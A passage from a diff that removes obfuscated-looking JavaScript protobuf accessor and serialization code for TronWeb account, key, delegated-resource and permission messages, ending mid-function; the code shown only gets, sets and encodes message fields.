- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.Account.Frozen, 2);
- };
- TronWebProto.Account.AccountResource.prototype.setFrozenBalanceForEnergy = function (_0x5401a7) {
- return _0x5b4e64.Message.setWrapperField(this, 2, _0x5401a7);
- };
- TronWebProto.Account.AccountResource.prototype.clearFrozenBalanceForEnergy = function () {
- return this.setFrozenBalanceForEnergy(undefined);
- };
- TronWebProto.Account.AccountResource.prototype.hasFrozenBalanceForEnergy = function () {
- return null != _0x5b4e64.Message.getField(this, 2);
- };
- TronWebProto.Account.AccountResource.prototype.getLatestConsumeTimeForEnergy = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setLatestConsumeTimeForEnergy = function (_0x3a51bf) {
- return _0x5b4e64.Message.setProto3IntField(this, 3, _0x3a51bf);
- };
- TronWebProto.Account.AccountResource.prototype.getAcquiredDelegatedFrozenBalanceForEnergy = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setAcquiredDelegatedFrozenBalanceForEnergy = function (_0x7bf8d1) {
- return _0x5b4e64.Message.setProto3IntField(this, 4, _0x7bf8d1);
- };
- TronWebProto.Account.AccountResource.prototype.getDelegatedFrozenBalanceForEnergy = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setDelegatedFrozenBalanceForEnergy = function (_0x4b33c2) {
- return _0x5b4e64.Message.setProto3IntField(this, 5, _0x4b33c2);
- };
- TronWebProto.Account.AccountResource.prototype.getStorageLimit = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setStorageLimit = function (_0x4a47e0) {
- return _0x5b4e64.Message.setProto3IntField(this, 6, _0x4a47e0);
- };
- TronWebProto.Account.AccountResource.prototype.getStorageUsage = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 7, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setStorageUsage = function (_0x1a7ed9) {
- return _0x5b4e64.Message.setProto3IntField(this, 7, _0x1a7ed9);
- };
- TronWebProto.Account.AccountResource.prototype.getLatestExchangeStorageTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.Account.AccountResource.prototype.setLatestExchangeStorageTime = function (_0x2cb14a) {
- return _0x5b4e64.Message.setProto3IntField(this, 8, _0x2cb14a);
- };
- TronWebProto.Account.prototype.getAccountName = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.Account.prototype.getAccountName_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAccountName());
- };
- TronWebProto.Account.prototype.getAccountName_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAccountName());
- };
- TronWebProto.Account.prototype.setAccountName = function (_0xaaf277) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0xaaf277);
- };
- TronWebProto.Account.prototype.getType = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Account.prototype.setType = function (_0x4df8b1) {
- return _0x5b4e64.Message.setProto3EnumField(this, 2, _0x4df8b1);
- };
- TronWebProto.Account.prototype.getAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, "");
- };
- TronWebProto.Account.prototype.getAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.Account.prototype.getAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.Account.prototype.setAddress = function (_0x9ec006) {
- return _0x5b4e64.Message.setProto3BytesField(this, 3, _0x9ec006);
- };
- TronWebProto.Account.prototype.getBalance = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.Account.prototype.setBalance = function (_0x5ec6de) {
- return _0x5b4e64.Message.setProto3IntField(this, 4, _0x5ec6de);
- };
- TronWebProto.Account.prototype.getVotesList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Vote, 5);
- };
- TronWebProto.Account.prototype.setVotesList = function (_0xd6c81a) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 5, _0xd6c81a);
- };
- TronWebProto.Account.prototype.addVotes = function (_0x59737c, _0x3335c5) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 5, _0x59737c, TronWebProto.Vote, _0x3335c5);
- };
- TronWebProto.Account.prototype.clearVotesList = function () {
- return this.setVotesList([]);
- };
- TronWebProto.Account.prototype.getAssetMap = function (_0x219f4f) {
- return _0x5b4e64.Message.getMapField(this, 6, _0x219f4f, null);
- };
- TronWebProto.Account.prototype.clearAssetMap = function () {
- this.getAssetMap().clear();
- return this;
- };
- TronWebProto.Account.prototype.getAssetv2Map = function (_0x2250f9) {
- return _0x5b4e64.Message.getMapField(this, 56, _0x2250f9, null);
- };
- TronWebProto.Account.prototype.clearAssetv2Map = function () {
- this.getAssetv2Map().clear();
- return this;
- };
- TronWebProto.Account.prototype.getFrozenList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Account.Frozen, 7);
- };
- TronWebProto.Account.prototype.setFrozenList = function (_0x1c824e) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 7, _0x1c824e);
- };
- TronWebProto.Account.prototype.addFrozen = function (_0xf51eb2, _0x259f90) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 7, _0xf51eb2, TronWebProto.Account.Frozen, _0x259f90);
- };
- TronWebProto.Account.prototype.clearFrozenList = function () {
- return this.setFrozenList([]);
- };
- TronWebProto.Account.prototype.getNetUsage = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 8, 0);
- };
- TronWebProto.Account.prototype.setNetUsage = function (_0x309338) {
- return _0x5b4e64.Message.setProto3IntField(this, 8, _0x309338);
- };
- TronWebProto.Account.prototype.getAcquiredDelegatedFrozenBalanceForBandwidth = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 41, 0);
- };
- TronWebProto.Account.prototype.setAcquiredDelegatedFrozenBalanceForBandwidth = function (_0x516804) {
- return _0x5b4e64.Message.setProto3IntField(this, 41, _0x516804);
- };
- TronWebProto.Account.prototype.getDelegatedFrozenBalanceForBandwidth = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 42, 0);
- };
- TronWebProto.Account.prototype.setDelegatedFrozenBalanceForBandwidth = function (_0x32846c) {
- return _0x5b4e64.Message.setProto3IntField(this, 42, _0x32846c);
- };
- TronWebProto.Account.prototype.getOldTronPower = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 46, 0);
- };
- TronWebProto.Account.prototype.setOldTronPower = function (_0x55a569) {
- return _0x5b4e64.Message.setProto3IntField(this, 46, _0x55a569);
- };
- TronWebProto.Account.prototype.getTronPower = function () {
- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.Account.Frozen, 47);
- };
- TronWebProto.Account.prototype.setTronPower = function (_0x3d1b65) {
- return _0x5b4e64.Message.setWrapperField(this, 47, _0x3d1b65);
- };
- TronWebProto.Account.prototype.clearTronPower = function () {
- return this.setTronPower(undefined);
- };
- TronWebProto.Account.prototype.hasTronPower = function () {
- return null != _0x5b4e64.Message.getField(this, 47);
- };
- TronWebProto.Account.prototype.getAssetOptimized = function () {
- return _0x5b4e64.Message.getBooleanFieldWithDefault(this, 60, false);
- };
- TronWebProto.Account.prototype.setAssetOptimized = function (_0x13b2ef) {
- return _0x5b4e64.Message.setProto3BooleanField(this, 60, _0x13b2ef);
- };
- TronWebProto.Account.prototype.getCreateTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 9, 0);
- };
- TronWebProto.Account.prototype.setCreateTime = function (_0x1be0cb) {
- return _0x5b4e64.Message.setProto3IntField(this, 9, _0x1be0cb);
- };
- TronWebProto.Account.prototype.getLatestOprationTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 10, 0);
- };
- TronWebProto.Account.prototype.setLatestOprationTime = function (_0x1af0e0) {
- return _0x5b4e64.Message.setProto3IntField(this, 10, _0x1af0e0);
- };
- TronWebProto.Account.prototype.getAllowance = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 11, 0);
- };
- TronWebProto.Account.prototype.setAllowance = function (_0xc2c9a3) {
- return _0x5b4e64.Message.setProto3IntField(this, 11, _0xc2c9a3);
- };
- TronWebProto.Account.prototype.getLatestWithdrawTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 12, 0);
- };
- TronWebProto.Account.prototype.setLatestWithdrawTime = function (_0x25fd7d) {
- return _0x5b4e64.Message.setProto3IntField(this, 12, _0x25fd7d);
- };
- TronWebProto.Account.prototype.getCode = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 13, "");
- };
- TronWebProto.Account.prototype.getCode_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getCode());
- };
- TronWebProto.Account.prototype.getCode_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getCode());
- };
- TronWebProto.Account.prototype.setCode = function (_0x255dd6) {
- return _0x5b4e64.Message.setProto3BytesField(this, 13, _0x255dd6);
- };
- TronWebProto.Account.prototype.getIsWitness = function () {
- return _0x5b4e64.Message.getBooleanFieldWithDefault(this, 14, false);
- };
- TronWebProto.Account.prototype.setIsWitness = function (_0x45059a) {
- return _0x5b4e64.Message.setProto3BooleanField(this, 14, _0x45059a);
- };
- TronWebProto.Account.prototype.getIsCommittee = function () {
- return _0x5b4e64.Message.getBooleanFieldWithDefault(this, 15, false);
- };
- TronWebProto.Account.prototype.setIsCommittee = function (_0x54f8c0) {
- return _0x5b4e64.Message.setProto3BooleanField(this, 15, _0x54f8c0);
- };
- TronWebProto.Account.prototype.getFrozenSupplyList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Account.Frozen, 16);
- };
- TronWebProto.Account.prototype.setFrozenSupplyList = function (_0x29c0af) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 16, _0x29c0af);
- };
- TronWebProto.Account.prototype.addFrozenSupply = function (_0x334eac, _0x3ec037) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 16, _0x334eac, TronWebProto.Account.Frozen, _0x3ec037);
- };
- TronWebProto.Account.prototype.clearFrozenSupplyList = function () {
- return this.setFrozenSupplyList([]);
- };
- TronWebProto.Account.prototype.getAssetIssuedName = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 17, "");
- };
- TronWebProto.Account.prototype.getAssetIssuedName_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAssetIssuedName());
- };
- TronWebProto.Account.prototype.getAssetIssuedName_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAssetIssuedName());
- };
- TronWebProto.Account.prototype.setAssetIssuedName = function (_0x2be521) {
- return _0x5b4e64.Message.setProto3BytesField(this, 17, _0x2be521);
- };
- TronWebProto.Account.prototype.getAssetIssuedId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 57, "");
- };
- TronWebProto.Account.prototype.getAssetIssuedId_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAssetIssuedId());
- };
- TronWebProto.Account.prototype.getAssetIssuedId_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAssetIssuedId());
- };
- TronWebProto.Account.prototype.setAssetIssuedId = function (_0x25bb27) {
- return _0x5b4e64.Message.setProto3BytesField(this, 57, _0x25bb27);
- };
- TronWebProto.Account.prototype.getLatestAssetOperationTimeMap = function (_0x439ca1) {
- return _0x5b4e64.Message.getMapField(this, 18, _0x439ca1, null);
- };
- TronWebProto.Account.prototype.clearLatestAssetOperationTimeMap = function () {
- this.getLatestAssetOperationTimeMap().clear();
- return this;
- };
- TronWebProto.Account.prototype.getLatestAssetOperationTimev2Map = function (_0x3af4ba) {
- return _0x5b4e64.Message.getMapField(this, 58, _0x3af4ba, null);
- };
- TronWebProto.Account.prototype.clearLatestAssetOperationTimev2Map = function () {
- this.getLatestAssetOperationTimev2Map().clear();
- return this;
- };
- TronWebProto.Account.prototype.getFreeNetUsage = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 19, 0);
- };
- TronWebProto.Account.prototype.setFreeNetUsage = function (_0x22ae9a) {
- return _0x5b4e64.Message.setProto3IntField(this, 19, _0x22ae9a);
- };
- TronWebProto.Account.prototype.getFreeAssetNetUsageMap = function (_0x247da6) {
- return _0x5b4e64.Message.getMapField(this, 20, _0x247da6, null);
- };
- TronWebProto.Account.prototype.clearFreeAssetNetUsageMap = function () {
- this.getFreeAssetNetUsageMap().clear();
- return this;
- };
- TronWebProto.Account.prototype.getFreeAssetNetUsagev2Map = function (_0x1659f3) {
- return _0x5b4e64.Message.getMapField(this, 59, _0x1659f3, null);
- };
- TronWebProto.Account.prototype.clearFreeAssetNetUsagev2Map = function () {
- this.getFreeAssetNetUsagev2Map().clear();
- return this;
- };
- TronWebProto.Account.prototype.getLatestConsumeTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 21, 0);
- };
- TronWebProto.Account.prototype.setLatestConsumeTime = function (_0x64b8b4) {
- return _0x5b4e64.Message.setProto3IntField(this, 21, _0x64b8b4);
- };
- TronWebProto.Account.prototype.getLatestConsumeFreeTime = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 22, 0);
- };
- TronWebProto.Account.prototype.setLatestConsumeFreeTime = function (_0x2ac3f0) {
- return _0x5b4e64.Message.setProto3IntField(this, 22, _0x2ac3f0);
- };
- TronWebProto.Account.prototype.getAccountId = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 23, "");
- };
- TronWebProto.Account.prototype.getAccountId_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAccountId());
- };
- TronWebProto.Account.prototype.getAccountId_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAccountId());
- };
- TronWebProto.Account.prototype.setAccountId = function (_0x37341a) {
- return _0x5b4e64.Message.setProto3BytesField(this, 23, _0x37341a);
- };
- TronWebProto.Account.prototype.getAccountResource = function () {
- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.Account.AccountResource, 26);
- };
- TronWebProto.Account.prototype.setAccountResource = function (_0x3fbc79) {
- return _0x5b4e64.Message.setWrapperField(this, 26, _0x3fbc79);
- };
- TronWebProto.Account.prototype.clearAccountResource = function () {
- return this.setAccountResource(undefined);
- };
- TronWebProto.Account.prototype.hasAccountResource = function () {
- return null != _0x5b4e64.Message.getField(this, 26);
- };
- TronWebProto.Account.prototype.getCodehash = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 30, "");
- };
- TronWebProto.Account.prototype.getCodehash_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getCodehash());
- };
- TronWebProto.Account.prototype.getCodehash_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getCodehash());
- };
- TronWebProto.Account.prototype.setCodehash = function (_0x18fae0) {
- return _0x5b4e64.Message.setProto3BytesField(this, 30, _0x18fae0);
- };
- TronWebProto.Account.prototype.getOwnerPermission = function () {
- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.Permission, 31);
- };
- TronWebProto.Account.prototype.setOwnerPermission = function (_0x2c2f07) {
- return _0x5b4e64.Message.setWrapperField(this, 31, _0x2c2f07);
- };
- TronWebProto.Account.prototype.clearOwnerPermission = function () {
- return this.setOwnerPermission(undefined);
- };
- TronWebProto.Account.prototype.hasOwnerPermission = function () {
- return null != _0x5b4e64.Message.getField(this, 31);
- };
- TronWebProto.Account.prototype.getWitnessPermission = function () {
- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.Permission, 32);
- };
- TronWebProto.Account.prototype.setWitnessPermission = function (_0x42dfeb) {
- return _0x5b4e64.Message.setWrapperField(this, 32, _0x42dfeb);
- };
- TronWebProto.Account.prototype.clearWitnessPermission = function () {
- return this.setWitnessPermission(undefined);
- };
- TronWebProto.Account.prototype.hasWitnessPermission = function () {
- return null != _0x5b4e64.Message.getField(this, 32);
- };
- TronWebProto.Account.prototype.getActivePermissionList = function () {
- return _0x5b4e64.Message.getRepeatedWrapperField(this, TronWebProto.Permission, 33);
- };
- TronWebProto.Account.prototype.setActivePermissionList = function (_0x210a4c) {
- return _0x5b4e64.Message.setRepeatedWrapperField(this, 33, _0x210a4c);
- };
- TronWebProto.Account.prototype.addActivePermission = function (_0x35f1eb, _0x1fe762) {
- return _0x5b4e64.Message.addToRepeatedWrapperField(this, 33, _0x35f1eb, TronWebProto.Permission, _0x1fe762);
- };
- TronWebProto.Account.prototype.clearActivePermissionList = function () {
- return this.setActivePermissionList([]);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Key.prototype.toObject = function (_0x594cbe) {
- return TronWebProto.Key.toObject(_0x594cbe, this);
- }, TronWebProto.Key.toObject = function (_0x12c375, _0x2e0b94) {
- var _0x1b85e9 = {
- address: _0x2e0b94.getAddress_asB64(),
- weight: _0x5b4e64.Message.getFieldWithDefault(_0x2e0b94, 2, 0)
- };
- _0x12c375 && (_0x1b85e9.$jspbMessageInstance = _0x2e0b94);
- return _0x1b85e9;
- });
- TronWebProto.Key.deserializeBinary = function (_0x4d8c37) {
- var _0x42c010 = new _0x5b4e64.BinaryReader(_0x4d8c37);
- var _0x287c92 = new TronWebProto.Key();
- return TronWebProto.Key.deserializeBinaryFromReader(_0x287c92, _0x42c010);
- };
- TronWebProto.Key.deserializeBinaryFromReader = function (_0x2384bb, _0x349949) {
- for (; _0x349949.nextField() && !_0x349949.isEndGroup();) {
- switch (_0x349949.getFieldNumber()) {
- case 1:
- var _0x51df03 = _0x349949.readBytes();
- _0x2384bb.setAddress(_0x51df03);
- break;
- case 2:
- _0x51df03 = _0x349949.readInt64();
- _0x2384bb.setWeight(_0x51df03);
- break;
- default:
- _0x349949.skipField();
- }
- }
- return _0x2384bb;
- };
- TronWebProto.Key.prototype.serializeBinary = function () {
- var _0x52d7c6 = new _0x5b4e64.BinaryWriter();
- TronWebProto.Key.serializeBinaryToWriter(this, _0x52d7c6);
- return _0x52d7c6.getResultBuffer();
- };
- TronWebProto.Key.serializeBinaryToWriter = function (_0xfe467c, _0x4d555a) {
- var _0x584248 = undefined;
- (_0x584248 = _0xfe467c.getAddress_asU8()).length > 0 && _0x4d555a.writeBytes(1, _0x584248);
- 0 !== (_0x584248 = _0xfe467c.getWeight()) && _0x4d555a.writeInt64(2, _0x584248);
- };
- TronWebProto.Key.prototype.getAddress = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.Key.prototype.getAddress_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getAddress());
- };
- TronWebProto.Key.prototype.getAddress_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getAddress());
- };
- TronWebProto.Key.prototype.setAddress = function (_0x576217) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x576217);
- };
- TronWebProto.Key.prototype.getWeight = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, 0);
- };
- TronWebProto.Key.prototype.setWeight = function (_0x328c2b) {
- return _0x5b4e64.Message.setProto3IntField(this, 2, _0x328c2b);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.DelegatedResource.prototype.toObject = function (_0x4b8c3e) {
- return TronWebProto.DelegatedResource.toObject(_0x4b8c3e, this);
- }, TronWebProto.DelegatedResource.toObject = function (_0x18cf43, _0x125c93) {
- var _0x484f26 = {
- from: _0x125c93.getFrom_asB64(),
- to: _0x125c93.getTo_asB64(),
- frozenBalanceForBandwidth: _0x5b4e64.Message.getFieldWithDefault(_0x125c93, 3, 0),
- frozenBalanceForEnergy: _0x5b4e64.Message.getFieldWithDefault(_0x125c93, 4, 0),
- expireTimeForBandwidth: _0x5b4e64.Message.getFieldWithDefault(_0x125c93, 5, 0),
- expireTimeForEnergy: _0x5b4e64.Message.getFieldWithDefault(_0x125c93, 6, 0)
- };
- _0x18cf43 && (_0x484f26.$jspbMessageInstance = _0x125c93);
- return _0x484f26;
- });
- TronWebProto.DelegatedResource.deserializeBinary = function (_0x1696ae) {
- var _0x2dcc9a = new _0x5b4e64.BinaryReader(_0x1696ae);
- var _0x1ff343 = new TronWebProto.DelegatedResource();
- return TronWebProto.DelegatedResource.deserializeBinaryFromReader(_0x1ff343, _0x2dcc9a);
- };
- TronWebProto.DelegatedResource.deserializeBinaryFromReader = function (_0x2c5359, _0xd12ce0) {
- for (; _0xd12ce0.nextField() && !_0xd12ce0.isEndGroup();) {
- switch (_0xd12ce0.getFieldNumber()) {
- case 1:
- var _0x3551ae = _0xd12ce0.readBytes();
- _0x2c5359.setFrom(_0x3551ae);
- break;
- case 2:
- _0x3551ae = _0xd12ce0.readBytes();
- _0x2c5359.setTo(_0x3551ae);
- break;
- case 3:
- _0x3551ae = _0xd12ce0.readInt64();
- _0x2c5359.setFrozenBalanceForBandwidth(_0x3551ae);
- break;
- case 4:
- _0x3551ae = _0xd12ce0.readInt64();
- _0x2c5359.setFrozenBalanceForEnergy(_0x3551ae);
- break;
- case 5:
- _0x3551ae = _0xd12ce0.readInt64();
- _0x2c5359.setExpireTimeForBandwidth(_0x3551ae);
- break;
- case 6:
- _0x3551ae = _0xd12ce0.readInt64();
- _0x2c5359.setExpireTimeForEnergy(_0x3551ae);
- break;
- default:
- _0xd12ce0.skipField();
- }
- }
- return _0x2c5359;
- };
- TronWebProto.DelegatedResource.prototype.serializeBinary = function () {
- var _0x41b02e = new _0x5b4e64.BinaryWriter();
- TronWebProto.DelegatedResource.serializeBinaryToWriter(this, _0x41b02e);
- return _0x41b02e.getResultBuffer();
- };
- TronWebProto.DelegatedResource.serializeBinaryToWriter = function (_0x388d1d, _0xf6fcf9) {
- var _0xc8653b = undefined;
- (_0xc8653b = _0x388d1d.getFrom_asU8()).length > 0 && _0xf6fcf9.writeBytes(1, _0xc8653b);
- (_0xc8653b = _0x388d1d.getTo_asU8()).length > 0 && _0xf6fcf9.writeBytes(2, _0xc8653b);
- 0 !== (_0xc8653b = _0x388d1d.getFrozenBalanceForBandwidth()) && _0xf6fcf9.writeInt64(3, _0xc8653b);
- 0 !== (_0xc8653b = _0x388d1d.getFrozenBalanceForEnergy()) && _0xf6fcf9.writeInt64(4, _0xc8653b);
- 0 !== (_0xc8653b = _0x388d1d.getExpireTimeForBandwidth()) && _0xf6fcf9.writeInt64(5, _0xc8653b);
- 0 !== (_0xc8653b = _0x388d1d.getExpireTimeForEnergy()) && _0xf6fcf9.writeInt64(6, _0xc8653b);
- };
- TronWebProto.DelegatedResource.prototype.getFrom = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 1, "");
- };
- TronWebProto.DelegatedResource.prototype.getFrom_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getFrom());
- };
- TronWebProto.DelegatedResource.prototype.getFrom_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getFrom());
- };
- TronWebProto.DelegatedResource.prototype.setFrom = function (_0x1ea4a8) {
- return _0x5b4e64.Message.setProto3BytesField(this, 1, _0x1ea4a8);
- };
- TronWebProto.DelegatedResource.prototype.getTo = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.DelegatedResource.prototype.getTo_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getTo());
- };
- TronWebProto.DelegatedResource.prototype.getTo_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getTo());
- };
- TronWebProto.DelegatedResource.prototype.setTo = function (_0x5e3271) {
- return _0x5b4e64.Message.setProto3BytesField(this, 2, _0x5e3271);
- };
- TronWebProto.DelegatedResource.prototype.getFrozenBalanceForBandwidth = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 3, 0);
- };
- TronWebProto.DelegatedResource.prototype.setFrozenBalanceForBandwidth = function (_0x1e3711) {
- return _0x5b4e64.Message.setProto3IntField(this, 3, _0x1e3711);
- };
- TronWebProto.DelegatedResource.prototype.getFrozenBalanceForEnergy = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 4, 0);
- };
- TronWebProto.DelegatedResource.prototype.setFrozenBalanceForEnergy = function (_0x17bfe3) {
- return _0x5b4e64.Message.setProto3IntField(this, 4, _0x17bfe3);
- };
- TronWebProto.DelegatedResource.prototype.getExpireTimeForBandwidth = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 5, 0);
- };
- TronWebProto.DelegatedResource.prototype.setExpireTimeForBandwidth = function (_0xbbe39f) {
- return _0x5b4e64.Message.setProto3IntField(this, 5, _0xbbe39f);
- };
- TronWebProto.DelegatedResource.prototype.getExpireTimeForEnergy = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 6, 0);
- };
- TronWebProto.DelegatedResource.prototype.setExpireTimeForEnergy = function (_0x57712d) {
- return _0x5b4e64.Message.setProto3IntField(this, 6, _0x57712d);
- };
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.authority.prototype.toObject = function (_0x52faf1) {
- return TronWebProto.authority.toObject(_0x52faf1, this);
- }, TronWebProto.authority.toObject = function (_0x29064c, _0x3d6b61) {
- var _0x4a2cb6;
- var _0x17184f = {
- account: (_0x4a2cb6 = _0x3d6b61.getAccount()) && TronWebProto.AccountId.toObject(_0x29064c, _0x4a2cb6),
- permissionName: _0x3d6b61.getPermissionName_asB64()
- };
- _0x29064c && (_0x17184f.$jspbMessageInstance = _0x3d6b61);
- return _0x17184f;
- });
- TronWebProto.authority.deserializeBinary = function (_0x53991b) {
- var _0x186545 = new _0x5b4e64.BinaryReader(_0x53991b);
- var _0x55491c = new TronWebProto.authority();
- return TronWebProto.authority.deserializeBinaryFromReader(_0x55491c, _0x186545);
- };
- TronWebProto.authority.deserializeBinaryFromReader = function (_0x2780dd, _0x31a3f8) {
- for (; _0x31a3f8.nextField() && !_0x31a3f8.isEndGroup();) {
- switch (_0x31a3f8.getFieldNumber()) {
- case 1:
- var _0x1a48e6 = new TronWebProto.AccountId();
- _0x31a3f8.readMessage(_0x1a48e6, TronWebProto.AccountId.deserializeBinaryFromReader);
- _0x2780dd.setAccount(_0x1a48e6);
- break;
- case 2:
- _0x1a48e6 = _0x31a3f8.readBytes();
- _0x2780dd.setPermissionName(_0x1a48e6);
- break;
- default:
- _0x31a3f8.skipField();
- }
- }
- return _0x2780dd;
- };
- TronWebProto.authority.prototype.serializeBinary = function () {
- var _0x4a52bf = new _0x5b4e64.BinaryWriter();
- TronWebProto.authority.serializeBinaryToWriter(this, _0x4a52bf);
- return _0x4a52bf.getResultBuffer();
- };
- TronWebProto.authority.serializeBinaryToWriter = function (_0x127bf8, _0x369c83) {
- var _0x108252 = undefined;
- null != (_0x108252 = _0x127bf8.getAccount()) && _0x369c83.writeMessage(1, _0x108252, TronWebProto.AccountId.serializeBinaryToWriter);
- (_0x108252 = _0x127bf8.getPermissionName_asU8()).length > 0 && _0x369c83.writeBytes(2, _0x108252);
- };
- TronWebProto.authority.prototype.getAccount = function () {
- return _0x5b4e64.Message.getWrapperField(this, TronWebProto.AccountId, 1);
- };
- TronWebProto.authority.prototype.setAccount = function (_0x59f919) {
- return _0x5b4e64.Message.setWrapperField(this, 1, _0x59f919);
- };
- TronWebProto.authority.prototype.clearAccount = function () {
- return this.setAccount(undefined);
- };
- TronWebProto.authority.prototype.hasAccount = function () {
- return null != _0x5b4e64.Message.getField(this, 1);
- };
- TronWebProto.authority.prototype.getPermissionName = function () {
- return _0x5b4e64.Message.getFieldWithDefault(this, 2, "");
- };
- TronWebProto.authority.prototype.getPermissionName_asB64 = function () {
- return _0x5b4e64.Message.bytesAsB64(this.getPermissionName());
- };
- TronWebProto.authority.prototype.getPermissionName_asU8 = function () {
- return _0x5b4e64.Message.bytesAsU8(this.getPermissionName());
- };
- TronWebProto.authority.prototype.setPermissionName = function (_0x48af10) {
- return _0x5b4e64.Message.setProto3BytesField(this, 2, _0x48af10);
- };
- TronWebProto.Permission.repeatedFields_ = [7];
- _0x5b4e64.Message.GENERATE_TO_OBJECT && (TronWebProto.Permission.prototype.toObject = function (_0x2ea154) {
- return TronWebProto.Permission.toObject(_0x2ea154, this);
- }, TronWebProto.Permission.toObject = function (_0x13ea0a, _0x1d3025) {
- var _0x1a92b9 = {
- type: _0x5b4e64.Message.getFieldWithDefault(_0x1d3025, 1, 0),
- id: _0x5b4e64.Message.getFieldWithDefault(_0x1d3025, 2, 0),
- permissionName: _0x5b4e64.Message.getFieldWithDefault(_0x1d3025, 3, ""),
- threshold: _0x5b4e64.Message.getFieldWithDefault(_0x1d3025, 4, 0),
- parentId: _0x5b4e64.Message.getFieldWithDefault(_0x1d3025, 5, 0),
- operations: _0x1d3025.getOperations_asB64(),
- keysList: _0x5b4e64.Message.toObjectList(_0x1d3025.getKeysList(), TronWebProto.Key.toObject, _0x13ea0a)
- };
- _0x13ea0a && (_0x1a92b9.$jspbMessageInstance = _0x1d3025);
- return _0x1a92b9;
- });
- TronWebProto.Permission.deserializeBinary = function (_0x179600) {
- var _0x399818 = new _0x5b4e64.BinaryReader(_0x179600);
- var _0x36a059 = new TronWebProto.Permission();
- return TronWebProto.Permission.deserializeBinaryFromReader(_0x36a059, _0x399818);
- };
- TronWebProto.Permission.deserializeBinaryFromReader = function (_0x4ac907, _0x53d34b) {
- for (; _0x53d34b.nextField() && !_0x53d34b.isEndGroup();) {
- switch (_0x53d34b.getFieldNumber()) {
- case 1:
- var _0x1a8c71 = _0x53d34b.readEnum();
